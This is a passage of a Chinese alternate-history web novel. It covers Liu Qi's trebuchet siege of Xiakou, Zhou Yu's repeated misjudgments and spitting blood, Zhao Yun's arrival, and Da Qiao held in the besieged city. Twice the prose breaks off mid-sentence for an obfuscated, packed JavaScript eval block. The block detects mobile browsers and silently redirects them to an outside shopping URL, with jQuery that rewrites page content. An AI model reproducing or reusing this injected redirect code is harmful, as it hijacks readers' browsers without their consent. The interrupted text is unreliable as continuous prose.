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千钧一发之际,两名李氏族兵奋不顾身地扑上前,用身体硬生生挡住了赵云致命的一枪,为李通赢得了宝贵的喘息之机。 “都尉快走!”亲兵队长拉着李通,在其余族兵的拼死掩护下,仓皇弃马,钻入一旁陡峭难行的山林小路,狼狈逃窜。 主帅失踪,后军被精锐骑兵贯穿,前方关隘守军又趁势杀出,再加上漫山遍野不知虚实的“援军”旗帜和喊杀声,李通军彻底崩溃了。 战后,平靖关内。 张威一边命令清点战果、收押俘虏,一边目光复杂地打量着被引入关内的赵云及其部众。 尤其多看了几眼那百余骑煞气凛然的骑兵,张威脑海中不由得浮现刚才赵云在万军之中如入无人之境、枪下几无一合之敌的骇人场面。 “某乃赵云,字子龙,常山人士,此乃周仓,原卧牛山头领,现已随某同行。” “我等听闻刘府君仁德,特率众前来投效,路经此地,见曹寇犯境,故出手相助。”赵云抱拳,不卑不亢地说明来意。 张威脸上挤出一丝看似豪爽的笑容,抱拳还礼:“原来是赵君,周君!今日多亏二位鼎力相助,方能大破李通,保住北疆安宁!张某代江夏军民,谢过二位!” 接着张威话锋一转,带着几分试探:“不过,二位虽说是欲投奔我主刘府君,但按律,外军入境,需得主公钧令方可放行。” “而眼下李通新败,其前方尚有两处关隘在李通手中,二位既有投效我主之心,何不与张某一同前往?一则可为刘府君再立新功,二则,也免得在此空等,延误时机。不知二位意下如何?” 张威说着话也有自己的几分算盘:既不能让赵云这支实力不俗的队伍留在自己身后,不如带在身边,借其战力扩大战果,同时也便于监视控制。 赵云何等人物,岂能听不出张威话中的警惕与算计? 但赵云此行本为投效刘琦,如今能立下功劳作为进身之阶正是求之不得。 当下赵云便爽快应承:“张都尉所言极是!云,愿听调遣,共破残敌,以安北疆!” 张威闻言,心中稍安,同时也暗赞此人识时务。 而在清点俘虏时,一名文士模样的中年人引起了张威的注意。 经降兵指认,此乃曹操任命的朗陵县长赵俨。 (赵俨,字伯然,颍川阳翟人,未来曹魏重臣,历任大司农、骠骑将军、大司空等职。)。 张威与赵云自然不知赵俨的才干与未来声名,只觉擒获一名曹军县令,也算是个不大不小的功劳,便下令将其好生看管,待日后一并送往刘琦处发落。 第62章智珠错算!周瑜的脸都快被打肿了? 夏口城内。 临时帅府内,药味与压抑的气氛混杂。 周瑜半倚病榻,脸色在烛光下更显蜡黄,强打精神,扫过榻前肃立的江东诸将——韩当、潘璋、吕范,以及坐在主位、眉头紧锁的孙权。 “消息……确认了?”周瑜的声音虽有些虚弱,但每一个字却也能清晰传到主将耳中。 吕范拱手,语气带着几分把握:“都督,多方探报交叉印证,刘琦确实滞留石阳戍,其妻黄氏亦在关内。荆州大营目前由庞统坐镇,黄忠、王朗等将分管陆营。” “都督!机不可失啊!”韩当声如洪钟: “这刘琦小儿竟敢在两军阵前,丢下大军于不顾,带着女眷在后方享福!” “真是天赐我军破敌之机啊!” 说完,韩当率先抱拳**道: “都督!末将愿为先锋,今夜子时亲率本部儿郎,突袭荆州大营!趁其群龙无首,必可一举溃敌!” 而韩当之所以执着于夜袭,实在是也有苦衷。 夏口城外的望江岭上的宋濂部,就像一颗摄像头般插在夏口侧后高地,日间江东军任何大规模的调动,都难逃其眼线。 唯有借助夜色掩护,大军行动才可能具备突然性。 而潘璋也上前一步,先前夜袭被刘琦识破新败一阵,并且还折了心腹马忠,此刻正憋着一肚子火想找回场子,自然是力挺韩当:“韩将军所言极是!” “都督,末将也愿同往!那荆州大营没了刘琦,不过是一盘散沙,定可一击破之!” 韩当、潘璋这类猛将,思维直接了当,信奉进攻就是最好的防守。 二人觉得既然对方主帅敢托大,两军交战之际,还敢离开军营到后方去享福,露出如此之大的破绽给他们,那他们就该毫不犹豫A上去,用绝对的攻势打垮敌人。 然而,老成持重的吕范却摇了摇头,出声反对:“二位将军勇武可嘉,但稍安勿躁。” “昨日探马回报,先前驻守沙羡的陈应率五千襄阳营抵达,庞统亦率两千水师步卒登岸协防,加之诸葛亮在安陆招募整合的三千世家部曲与黄祖旧部,其敌兵力已不逊于我,甚至略有超出。此时倾巢浪战,若一时不能克,恐反被其所乘。” 接着吕范转向周瑜,提出更稳妥的方案:“都督,不如遣潘璋将军率一部佯攻荆州陆营正面吸引庞统、黄忠等人注意。” “同时,另遣一支真正精锐,趁夜轻装疾行,绕过敌军视线,直扑石阳戍。” 吕范用手掌做了一个下劈的动作,眼神狠厉:“若能擒杀刘琦,荆州军不战自乱!届时再挥师掩杀,可获全功!此策虽险,然一旦成功,收益极大,且我军主力无需冒险与兵力占优之敌决战。” 吕范的计策便是传统兵法中的“奇正相合”,风险可控,收益极高,这也体现出吕范的用兵风格,那就是稳健! 而随着吕范说完堂内顿时分成了两派,争论不休。 韩当、潘璋觉得吕范太过保守,贻误战机;吕范等人则认为韩当太过冒险,视军国大事为赌局。 周瑜微微阖眼,手指在锦被上无意识地敲击着,看似在倾听争论,实则内心却思绪万千。 刘琦…… 这个名字近来如同梦魇般缠绕着他。 初时周瑜以为不过是个倚仗父荫、侥幸得势的纨绔子弟,可津乡之战、夺取望江岭、潘璋夜袭受挫……这一桩桩一件件,都清晰地指向一个事实:此子非但懂得治军,更善于用兵,甚至常有超出常人理解的奇思诡招。 这样一个人,怎会在两军决战的关键时刻,丢下数万大军于不顾,只为跟新婚妻子在后方关隘享乐? 周瑜内心深处涌起强烈的怀疑。 刘琦这行为太不合常理了,也太过于刻意了,就像……就像故意将一个天大的破绽暴露在他周瑜面前。 以己度人,周瑜自身便是严于律己、以国事为重之人。 昔日孙策攻破庐江,周瑜便与孙策纳乔氏二女,而恰逢其父因战乱受惊而亡。 孙策性烈,并未过多拘泥礼法,直接将大乔收入房中。 而他周瑜,因顾及名声与礼数,坚持让未过门的小乔为其父守孝三年,自己则随孙策征战,至今未曾真正亲近。 连他自己都能为了大局克制私情,周瑜绝不相信一个能让自己接连吃亏的对手,会如此轻易地被儿女私情蒙蔽,置军国大事于不顾。 所以这定然是计谋!是刘琦故意露出来的破绽,诱我出击的破绽! 周瑜几乎可以肯定,那看似空虚的后方石阳戍,恐怕早已布好了天罗地网,就等着他派兵去撞。 一念及此,周瑜心中那股因接连受挫而积郁的闷气,竟似消散了不少,取而代之的是一种智珠在握、看穿对手布局的冷冽得意。 周瑜在心中冷笑:“哼,刘琦小儿,竟想以此拙劣伎俩诱我上钩?未免太小看我周瑜了吧!” 周瑜蜡黄的脸上甚至因此泛起一丝异样的潮红,那是智力上重新占据上风带来的短暂亢奋。 周瑜深吸一口气,准备将自己的判断当众说出,戳穿刘琦这“看似香醇实则致命的毒饵”。 然而,就在周瑜嘴唇微张,准备说话之时。 “报——!!!” 一名亲兵快步进来。 “启禀吴侯!都督!大事不好!荆州军……荆州军全军出动!无数兵马已在西门外列阵,绵延数里,战鼓雷动,看架势是要大举攻城了!” “什么?!”孙权猛地站起,碧眼中满是惊愕。 周瑜也是骤然睁开双眼,方才那丝智珠在握的得意瞬间冻结在眼底,随后化为难以置信的惊诧。 攻城?刘琦竟主动攻城?!这.....这....不是故意示弱、诱我出击吗? 难道此时,刘琦你不应该继续示弱,甚至佯装慌乱,怎会反其道而行之,大张旗鼓地摆出决战架势? 难道……难道我方才的推断全错了?刘琦并非设下陷阱,而是真的……不,这不可能!可眼前军报…… 这突如其来的消息,如同当头一棒,将周瑜刚刚重建起来的心理优势砸得粉碎。 周瑜此时甚至能感觉到脸颊微微发烫,一股庆幸的后怕悄然滋生——幸好,幸好刚才那洞悉“真相”的论断还未及宣之于口,否则此刻,他周瑜便要被刘琦光速打脸了! 就在周瑜因自己的误判而心神剧震、暗自庆幸未曾当众出丑之际。 而城外的荆州军,也在刘琦的命令下,开始了攻城前的军事部署。 刘琦坐镇中军高台,目光扫视四周,嘴中快速下达他的军事部署: “陈应!” “末将在!”身披重甲的陈应急步上前。 “着你率襄阳锐士,列阵于西门之外,为我大军前阵!” “得令!” “王朗!” “末将在!” 王朗应声出列道。 “命你与宋濂所部汇合后攻夏口北门,吸引敌军兵力。” “遵命!” 随着刘琦一道道命令下达,荆州军这台战争机器开始高效运转。 从上方俯瞰整个夏口战场,只见夏口城雄踞于长江与汉水交汇之处,地势险要,三面环水,城高池深。 其西南紧邻汹涌汉水,东南面依托浩荡长江,北面不远则是崎岖山岭,皆不利于大军展开。 唯独这西门之外,是一片难得的、相对开阔的冲积平原,地势平坦,官道宽阔,同时也是发挥兵力与器械优势的理想战场。 而刘琦自然也是在西门这边,随着中军令旗挥动,陈应所部原先厚实的方阵也随着变动成一个个小方阵,远远望去,就如同一颗颗黑色的石子铺开在这片土地上般。 就在这时,周瑜在亲卫的搀扶下与孙权,登上了西门城楼。 周瑜强忍着身体的虚弱和心中的惊疑,举目向城外望去。 这一看,却让周瑜不由得皱起了眉头。 “这......” ‘略懂’军事的孙权也看出了不对劲,指着城外的军阵,疑惑道:“公瑾,你看这荆州军的阵型,为何如此古怪?” “若要攻城,当以先登死士为前锋,突击城墙,后续精兵方能趁隙而上,集中兵力扩大战果。” “可眼下城外这松散阵型,既无冲锋的锐士,也无后续跟进的密集梯队,全然不似要攻城的样子!” 周瑜凝神细看,心中疑云更甚。 的确, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666986|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攻城之战,关键在于打开突破口。 而想要打开突破口,就必先遣悍不畏死之先登锐卒,冒死攀附,在城头搏得一席之地,后方大军方能趁势压上,集中力量扩大突破口。 可眼前这零星散布的‘碎石阵’,既无攻坚的死士前锋,也无后续跟进的密集兵团,倒像是在...... “像是在防备我军出城突击。” 周瑜喃喃自语,心中的不安越发强烈。 刘琦这厮,到底在玩什么把戏? 既摆出攻城的架势,又布下这等防御性的阵型,这完全不合兵法常理! 就在周瑜心中疑惑时,陈应军阵地后方,距离夏口城约二百三四十步的距离上,十架庞然巨物正在众多工匠和力士的操作下,完成最后的组装。 庞然巨物正是刘琦的秘密武器——**炮! 巨大的杠杆,悬挂着填满石码的配重箱,如同蹲伏在地的洪荒巨兽,即便在城墙上周瑜远远望去也能感受到令人心悸的气息。 中军高台上,刘琦一身亮银甲胄,外罩猩红斗篷,迎风而立。 身边,左边是羽扇轻摇、面色沉静的诸葛亮,右边是目光灼灼、难掩兴奋的庞统。 “主公,阵势已成,各军皆已就位。”庞统拱手道,语气带着激动,“我军有此神砲,看那周瑜还如何龟缩在城内!” 诸葛亮微微颔首,目光扫过那十架**炮,语气中带着赞叹:“亮观此砲,已超越寻常攻城之具的范畴。今日,便让江东之人见识何为‘天威’。” 刘琦笑了笑,目光投向远处的夏口城墙,仿佛能穿透垛口看见周瑜惊疑不定的神情:“想必此时,周瑜与江东诸将正立于城上,盯着我军阵型百思不得其解——既摆出攻城之势,却迟迟不见先登死士前出,更无云梯冲车推进,只怕心中早已疑窦丛生。” 诸葛亮轻摇羽扇,轻笑道:“主公所言极是。周瑜用兵向来以洞察先机自诩,今日见我军一反常理,必是坐立难安。” 刘琦闻言,嘴角扬起笑意,随即对传令官朗声道: “传令!今日我军,且不蚁附登城,就让这**炮,先替我们敲一敲这夏口的城墙!” 刘琦的战术非常明确,就是利用**炮的超远射程进行单向打击,避免惨烈的登城战。 夏口城头之上,周瑜等人对刘琦军中的动态自然是一览无遗。 是以,见到陈应军阵后方的**炮后。 “那……那是何物?” 孙权扶着墙垛,碧眼中满是惊疑,指着远处的**炮对左右问道。 然而,他身旁的韩当、潘璋、吕范等将校,此刻也都是一脸茫然。 他们征战多年,见过的攻城器械不计其数,却从未见过如此结构怪异、体积庞大的家伙,是以,诸将面对孙权的疑问,皆连连摇头。 就在城头诸将议论纷纷之际,韩当突然眯起眼睛,指着远处惊疑道:“且看!那些力士在往那箱体中搬运石块!” 众人循声望去,果然看见数十名赤膊力士正将一块块打磨过的方石搬进配重箱中,另有数人将更大的浑圆石弹装填进长臂末端的皮窝里。 潘璋眯着眼仔细打量:“看那巨大的杠杆,还有另一端的箱体,莫不是想将石弹投掷过来?” 这时,旁边一个偏将便嗤笑道:“装神弄鬼!隔这么远,难不成要把石头扔过来?定是刘琦小儿黔驴技穷,弄些唬人的把戏!” 随着偏将说完,众将校亦也议论纷纷,但却无人能说出个所以然,众将校面上虽是不屑,但心中却一股未知事物带来的轻微恐慌在蔓延。 周瑜凝目远眺,目光在那十架庞然大物上反复审视。 周瑜比其他人想得更深——刘琦既然敢把这些器械摆在阵后,必有倚仗。 基于以往丰富的军事经验,周瑜做出了判断。 周瑜清了清嗓子,声音虽然虚弱,却努力传遍周围:“诸位不必疑惧!” 周瑜伸手指向**炮,“凡攻城器械,无论是冲车、井阑,亦或者尔等说的投石,皆需抵近城墙,方能发挥威力,此物距城近二百五十步,除非天神下凡相助,否则纵是能抛射石弹,亦无力伤我城墙分毫!” 第63章 **炮显神威,周郎喷血! 周瑜伸手指向**炮,“凡攻城器械,无论是冲车、井阑,亦或者尔等说的投石,皆需抵近城墙,方能发挥威力,此物距城近二百五十步,除非天神下凡相助,否则纵是能抛射石弹,亦无力伤我城墙分毫!” 周瑜似乎是看出众将校心中的轻微恐慌。 便试图稳定军心,出言激励道:“传令三军,各守汛地!多备滚木礌石,即刻烧沸金汁,再将火油、柴草悉数运上城头!” “待敌军推动这些笨重之物上前时,听我号令,万箭齐发,火箭与火油齐下,定叫其尽数葬身火海!” 然而,周瑜的话音刚落,仿佛是为了回应周瑜先前判断说,攻城器械一般皆需抵近城池才能发挥作用。 荆州军阵中,令旗挥动! 高台上,刘琦看着组装完毕、蓄势待发的十架**炮,嘴角勾起一抹冷笑,右手猛地向前一挥:“目标,夏口西城墙!十砲一轮,给老子轰!” “得令!” 传令官高声应和,随即奋力挥舞手中那面猩红的令旗。 砲阵最前方,一个满脸络腮胡的砲军队率看见旗号,当即会意,扯着嗓子朝身后怒吼:“主公有令!目标西城墙,十砲齐射!” 络腮胡队率的吼声在砲阵间回荡,十个砲位的操作力士闻声而动。 每个砲位前的小头目几乎同时高喊: “装填完毕!” “机括检查完毕!” “目标确认!” “预备——放!” “砰!砰!砰!“ 十柄沉重的木锤几乎同时砸下,配重箱轰然坠落发出的低沉风啸声令人心悸。 巨大的杠杆在配重的牵引下猛然挥动,长臂末端的皮窝顺势扬起—— “嗖嗖嗖嗖——!!!” 十颗三十斤重的浑圆石弹瞬间脱离皮窝,带着撕裂空气的恐怖尖啸,划破长空,朝着二百多步外的夏口城墙狠狠砸去! 这一刻,城上城下,时间仿佛凝固。 所有人都仰着头,目光盯着那些在空中划出致命弧线的黑影。 周瑜的瞳孔骤然收缩,脸上那强装的镇定瞬间碎裂。 看着那石弹竟真的飞越了这不可思议的距离,朝着城墙呼啸而来! “这不可能!”周瑜内心狂吼。 “轰!!!!!” 第一颗石弹呼啸而来重重砸在城墙垛口上,青砖砖石瞬间炸裂,碎石四溅! 紧接着,第二颗、第三颗接连命中! 夏口西侧城墙上瞬间地动山摇,巨响接连爆发,烟尘冲天而起! 虽然因为初次试射,只有三发直接命中,但那一瞬间地动山摇般的巨响,砖石崩裂、烟尘冲天的景象,以及被石弹直接砸中、瞬间化为肉泥的倒霉士兵的惨状,都像一记记无形的重锤,狠狠砸在了每一个江东守军的心头! “啊——!” “天罚!这是天罚!” “娘啊……” 城头上,恐慌如同瘟疫般炸开,尖叫声、哭喊声此起彼伏。 许多士兵吓得抱头蹲下,或者下意识地往后缩,原本严整的防御阵型出现了骚乱。 寻常对阵,纵使刀枪相向、箭矢袭来,他们尚可举盾格挡,或是寻机投降,总能搏一线生机,就算中箭身死,也多是利落痛处,若被刀砍**,倒也能认个“武艺不如人”。 可此刻,面对空中呼啸而来的巨石,跟前番所有威胁都不同:举盾格挡是死,转身奔逃是死,就算跪地投降,呼啸而来的巨石也绝不会绕行半分,左右皆是死路,连半分挣扎的余地都没有。 面对这样的情况,周瑜只觉得喉咙一甜,差点又是一口血喷出来。 方才周瑜还在城头对众将校断言,这笨重器械距城二百五十步,绝无伤人毁城之力,甚至扬言要将其焚毁,以此稳定军心。 可转瞬间,石弹便呼啸而至,城墙崩裂、士卒溃散,这石弹哪是砸在城墙上啊,分明就是砸在他周公瑾脸上啊! 这不仅是预判的出现错误,更是将他周瑜引以为傲的判断力被当众碾碎,一时间,周瑜急怒攻心下,血气险些抑制不住。 但周瑜猛地抓住墙垛,指甲几乎要抠进砖缝里强行咽下喉咙血气,脸色由蜡黄转为一种病态的潮红。 而城头上却早已一片慌乱,士卒们面带惊恐骚动不已,纷纷想撤下城头,幸得督战营士兵拔刀喝止、奋力弹压,才未酿成全线溃散。 而韩当、吕范等将校也被这破空石弹吓得不轻,急忙护着脸色惨白的孙权往城头望楼躲:“吴侯速进望楼!瓦梁能挡碎石,此处凶险!” 周瑜强撑着身体不适站直,一手扶着城垛,声嘶力竭地试图挽回局势:“不要慌!都不要慌!十发只中三发!敌军此砲准头极差!趁现在,快!床**!用床**还击!” 可慌乱中的士卒多是手足无措,但在周瑜的严令下,以及督战营的刀刃下惊魂未定的床**手们手忙脚乱地操作起城头上那十几架威力最大的“大黄**”。绞盘吱嘎作响,儿臂粗的巨箭被搭上箭槽。 这十几架“大黄**”,是江东器械营照着西汉真正的大黄**残图耗时三月仿制而成,虽沿用古名,却远不及前汉真品的神威。 传闻真正的大黄**,最大射程可达四百步,二百余步内皆为有效杀伤距离,能洞穿重甲、击碎楼船。 当年飞将军李广戍边,便是凭此**屡破匈奴,一箭射杀裨将的佳话流传至今。 江东得此残图后如获至宝,改良为重型床**,需三四人合力绞盘蓄力,箭镞如短矛,往日里守江防、御敌阵,百五六十步内从无败绩,韩当去年还靠它射穿了黄祖麾下楼船的桅杆。 “放!” “嘣!嘣!嘣!”一阵沉闷的弓弦巨响,十几支巨大的**箭带着破风声射向荆州军阵。 然而……现实再次狠狠抽了周瑜一记耳光。 只见那些**箭飞到一百五六十步的距离,便如同强**之末,绝大多数无力地坠落在地,只有寥寥一两支侥幸飞入了荆州军前阵,却也是力道大减,一支撞翻了一名盾牌手,另一支插在了地上,未能造成有效杀伤。 荆州军阵中瞬间传来一阵哄笑。 而在高台上,刘琦嗤笑一声:“蚍蜉撼树。传令,大军后撤五十步,脱离敌军床**射程,再命令砲军,根据第一轮落点,急速校准!” 刘琦命令迅速被传达下去。 陈应的撒石阵开始整体后移,秩序井然,显示出极高的训练水平。 而后方的**炮阵地,工匠和**官们则根据方才的落点记录,飞快地调整着配重箱内的石码数量,以修正射程。 城头上,周瑜看着敌军从容后撤,己方的床**彻底成了摆设,而刘琦那恐怖的巨砲似乎又在进行某种调整,周瑜的心一点点沉入谷底。 但周瑜也只能硬着头皮,再次对周围面露绝望的将校和士卒喊道:“稳住!敌军砲少,不过十架!即便能打到,我城墙坚固,亦能支撑!注意躲避……” 但周瑜的话还没说完—— 荆州军阵中,令旗再次挥动! “第二轮齐射!放!” “砰!砰!砰!“ “嗡——!” “嗖嗖嗖——!” 随着呼啸声响起,又是十颗石弹从刘琦军阵中呼啸升空! 而这一次,石弹的轨迹明显更加集中! “轰!轰!轰!轰!轰!!!” 震耳欲聋的轰鸣声几乎连成一片! 超过半数的石弹,如同长了眼睛一般,精准无比地轰击在夏口西城墙的同一段区域! 砖石如同纸糊般碎裂、飞溅,一段女墙在连续打击下轰然垮塌,露出了后面的甬道! 不少躲闪不及的士兵非死即伤,惨嚎声不绝于耳! 而最让城墙上的士卒绝望的是,随着这次校准完毕,**炮的射击间隔再次缩短。 不过半刻,又是十发石弹呼啸而来。 “怎么可能……这么快……”周瑜眼睁睁看着那段被重点照顾的城墙变得千疮百孔,守军士气肉眼可见地崩溃,士兵们像无头苍蝇一样乱窜,督战营连砍几人已然无效。 一股智谋被绝对力量无情碾碎的无力感和**感,如同毒蛇般噬咬着周瑜的心头。 所有的算计、所有的部署,在对方这种蛮不讲理、超乎理解的远程打击面前,都显得如此苍白可笑。 “噗——”周瑜终于再也压制不住,一口鲜血喷了出来,染红了身前的墙垛,身体晃了晃,险些栽倒。 “都督!”左右亲兵慌忙上前扶住周瑜不让他跌落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671922|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去。 孙权也是脸色煞白,看着城外那如同魔神巨口般不断喷吐死亡的石砲,又看看吐血萎靡的周瑜,一股巨大的恐惧和茫然攫住了他。 荆州军中军高台。 刘琦看着远处城墙上腾起的烟尘和明显的混乱,满意地点了点头。 接着刘琦环顾四周,却发现不仅是江东军,就连自己麾下的这些将校,此刻也都是一脸震撼。 黄忠抚着花白的胡须,望着那不断咆哮的巨砲,喃喃道:“老夫征战半生,破城无数,从未见过如此......如此霸道之物。” “往日攻城,皆需将士用命,蚁附登城,不知要填进多少儿郎的性命。如今......竟能如此破城?” 黄忠此刻心中翻江倒海,他记得前些时日那些需要数十名力士拽索的人力投石机,能射百余步已让他惊叹不已。 当时黄忠以为那已是攻城利器了,甚至私下里觉得主公还要研制什么配重式要投石两百余步外,心中未免有些觉得主公是不切实际的幻言。 可如今当,黄忠亲眼见证这配重式投石机在二百多步外抛发巨石砸城时,黄忠才明白自己当初的想法何等短浅。 陈应更是激动得声音发颤:“主公!有此神物,何愁天下不定!末将今日方知,何为真正的攻城!” 周围的将校也纷纷赞叹:“主公真乃神人也!” 面对众将由衷的赞叹,刘琦却只是淡然一笑,抬手虚扶:“诸位过誉了。此物虽利,终究只是死物。” “而破城的关键,还在于诸位浴血厮杀,在于将士们用命。” “然.....” 刘琦随即正色道:“此砲虽利,终究数量有限,若要轰塌城墙,尚需时日,诸位切不可因一时得势而轻敌。” 说着刘琦特意看向陈应:“陈校尉,你部在前,务必提高警惕,谨防敌军出城反扑。” 接着又转向黄忠:“汉升,着你率本部三千步卒,即刻在砲阵两翼设伏。若周瑜敢派兵出城,便与陈应前后夹击,务求全歼!” 诸葛亮静立一旁,目光扫过在场众人。 如今安陆屯田已见成效,北部赵云新破曹军,如今主公又造出这等神器,将江东最后的精锐困在城中。 放眼望去,荆州各部归心,世家部曲敬服,强敌节节败退,江夏收复在即......大势已定,人心向附。 黄忠、陈应二人肃然抱拳:“末将领命!定让江东军有来无回!” 待黄忠离去,刘琦对传令官道:“传令砲军,分作两组轮番轰击,日夜不息!” 刘琦又转向陈应令道:“陈应,待我军砲击稍歇,若见城头敌军胆怯后退,便派精锐前出佯动,做出攻城姿态!若敌军冒头,即刻退回!总之,要把周瑜的兵,给我牢牢钉在城墙上,让他们好好尝尝这''天降正义''的滋味!” “末将遵命!” 陈应抱拳应诺,脸上士气高涨。 这种我能打你,你却打不着我的仗,打起来实在是太痛快了! 庞统抚掌笑道:“主公此策大妙!砲击其墙,动摇其志;佯攻其门,疲乏其兵。不出数日,夏口守军身心俱疲,士气崩溃,届时再行总攻,必可事半功倍!” 诸葛亮也轻摇羽扇,补充道:“还可让**官详细记录每一砲的落点与效果,若能寻得城墙薄弱之处,集中轰击,或可早日打开缺口。” 刘琦颔首,目光再次投向那片在石弹中颤抖的夏口城墙,眼神冰冷。 ”周瑜,你的时代,该结束了。” 已升至半空的烈阳将炽热的光芒洒向战场,映照着夏口西城墙上的一片狼藉与不断升腾的烟尘。 城头的江东士卒,在这连绵不绝的“天罚“之下,士气已然濒临崩溃。 而城楼内,面如金纸的周瑜,听着耳边连绵不绝的轰鸣与士卒的哀嚎,心中一片冰凉。 就在这是。 “报——!”一名传令兵踉跄着冲上城楼,声音带着惊恐,“启禀吴侯,都督,北门急报!王朗、宋濂所部正在城外列阵,云梯、冲车均已推至阵前,攻势甚急!” 此言一出,城楼上本就惶惶不安的众将更是骚动起来。 韩当急声道:“都督,北门若破,我军危矣!” 第64章 大乔泣血:亡夫幼子困危城! 一直沉默不语的孙权此刻也按捺不住,转头看向周瑜:“公瑾,当下该如何应对?” 周瑜强忍胸中翻涌的气血,抹去嘴角血渍,目光扫过众将惊惶的面容,忽然发出一声冷笑:“诸君何须惊慌?此乃刘琦疲兵之计!” 尽管周瑜脸色苍白如纸,但声音却异常清晰:“北门列阵不过是虚张声势,刘琦真正的杀招,仍是这西门的投石机。” “刘琦欲以此砲消耗我军兵力、摧折我军士气,待我军疲惫不堪时,方会发动攻城。” 周瑜略作停顿,目光扫过众将校稍作安定的脸庞,继续道:“但,虽说是疲兵之计,却也不可不防,兵法云:虚而实之,实而虚之。” “公奕听令!” 蒋钦立即抱拳:“末将在!” “着你率本部一千精锐即刻增援北门。” 周瑜语气凝重,“切记,刘琦意在消耗,是以北门所敌必不会强攻,你只需固守城防,谨防敌军佯攻转实,可若见敌军真的大举攻城,便立即点燃狼烟示警。” 待蒋钦领命而去,周瑜转向众将校,继续部署:“传令:即刻将城头守军撤下大半,每处垛口只留两名死士值守,其余将士退入城下营房休整,以锣声为号,闻讯即上城御敌。” 周瑜见韩当、黄盖等人仍面露忧色,便继而安抚道:“夏口城墙足有三丈之高,两丈之厚,外裹青砖,内填夯土。刘琦纵有神器,想要轰塌这等坚城,也绝非数日之功,诸位不必过于忧惧。” 周瑜这番连番剖析,虽声音虚弱,却条理分明,将敌我态势剖析得清清楚楚。 原本惊慌失措的众将校,见主帅在如此逆境中仍能保持这般冷静判断,心中的惶恐不觉消散大半,取而代之的是一种找到主心骨的安定。 韩当、黄盖等人相视一眼,皆看到对方眼中重新燃起的斗志,以及对都督这般境况下仍不忘职责的深深敬服。 见军心渐稳,周瑜蜡黄的脸上竟浮现出一丝傲然,他目光仿佛穿透城墙,看到了那个让他屡屡受挫的对手: “刘琦虽得利器,却终究少了破釜沉舟的胆魄,若换做是我......” 但还没说完,又是一阵剧烈的咳嗽打断了周瑜的未尽之语话语,那尚未出口的决绝与狠厉,都湮灭在这撕心裂肺的咳声中。 众将校看着周瑜蜡黄的脸上冷汗涔涔,却仍强撑着病体为他们分析局势、稳定军心,心中沉重的同时却更感佩其于危难中力挽狂澜的坚韧。 这时,一直沉默的孙权终于开口:“公瑾,你已尽力,不如先去歇息片刻,这里有诸位将军在。” 周瑜却强撑着摇了摇头,声音虽虚弱却坚定:“主公,此刻正是紧要关头,臣岂能......“ “这是军令。”孙权打断周瑜的话,语气中带着不容置疑,“你且回城内府邸暂歇,若有要事,自会唤你。” 周瑜还想说什么,却又是一阵剧烈的咳嗽。 韩当见状,立即上前一步:“末将这就去安排士卒轮换。都督且安心歇息,城防之事,我等必当尽心竭力!” 众将齐声应和,目送亲卫扶着周瑜缓缓走下城楼。 待周瑜离去,孙权环视众将,沉声道:“诸将各司其职,务必守住夏口!” “诺!” 众将轰然应声,各自散去布置防务。 城墙上的轰鸣声依旧不绝于耳,但城头上的守军,在周瑜方才的一番部署下,已然恢复了秩序。 而此时,夏口城内,临时吴侯府邸后院。 尽管此处离遭受猛烈轰击的西城墙有一段距离,但那一声声沉闷如雷的轰鸣,依旧穿透街巷,隐隐传来,每一次巨响都让地面微微震颤,窗棂簌簌作响。 室内,大乔一身素白孝衣裹着纤细身段跪坐于席上,正紧紧搂抱着怀中年仅一岁多的孩儿孙绍。 此刻大乔即便是一身素衣,不施粉黛,也难以掩盖那清减脸庞上的绝色容光,宛如月下初绽的玉兰,风致楚楚,我见犹怜。 而此刻,怀中的孙绍被巨石砸在城墙上那可怕的声响吓得小脸煞白,哇哇大哭,不断往母亲怀里钻,小小的身体瑟瑟发抖。 “绍儿莫怕,莫怕……娘在这里。” 大乔柔声安抚着,纤手轻拍孩子的背脊,然而她自己的脸色却也并不好,眉宇间凝结着化不开的忧惧与一丝难以言喻的复杂。 她本不该在此地。 按礼,她应随护送孙策灵柩的小叔子孙翊返回吴郡富春,而非滞留在这危城之中。 然而,孙权一纸命令便将她们母子留下。 表面上是言及战乱频仍,路途不安,让嫂嫂与侄儿留在相对安全的夏口城中,由他亲自照拂。 但大乔心中雪亮,这不过是孙权冠冕堂皇的借口。 真正的缘由,在于她怀中的这个孩子——孙策的嫡长子,孙绍。 孙绍,这个本该名正言顺继承江东基业的幼主,因其年幼,未能嗣位,由叔叔孙权接掌了江东权柄。 可孙绍存在的本身,就是对孙权统治合法性的一种潜在威胁。 如今孙权江夏征战,后方空虚,他岂敢放孙绍这面“旗帜”回到后方的吴郡? 若是有心怀异志者借题发挥,拥立幼主,那他孙仲谋将何以自处? 所以,大乔母子必须留在孙权眼皮底下,名为保护,实为软禁,是钳制潜在反对力量的人质。 想通此节,大乔心中便是一片冰凉。 大乔的目光看向窗外灰蒙的天空,耳畔是持续不断的轰鸣和孩儿的啼哭,思绪却飘回了数年之前。 孙策……那个霸道、英武,如骄阳般夺目,也如狂风般摧毁了她平静生活的男人。 是他,率军攻破了庐江皖城,也是他,听闻她与小乔的美名,便强行将她纳为妻子。 而父亲乔公因此惊惧忧虑,不久便郁郁而终。 这让大乔怎能不恨? 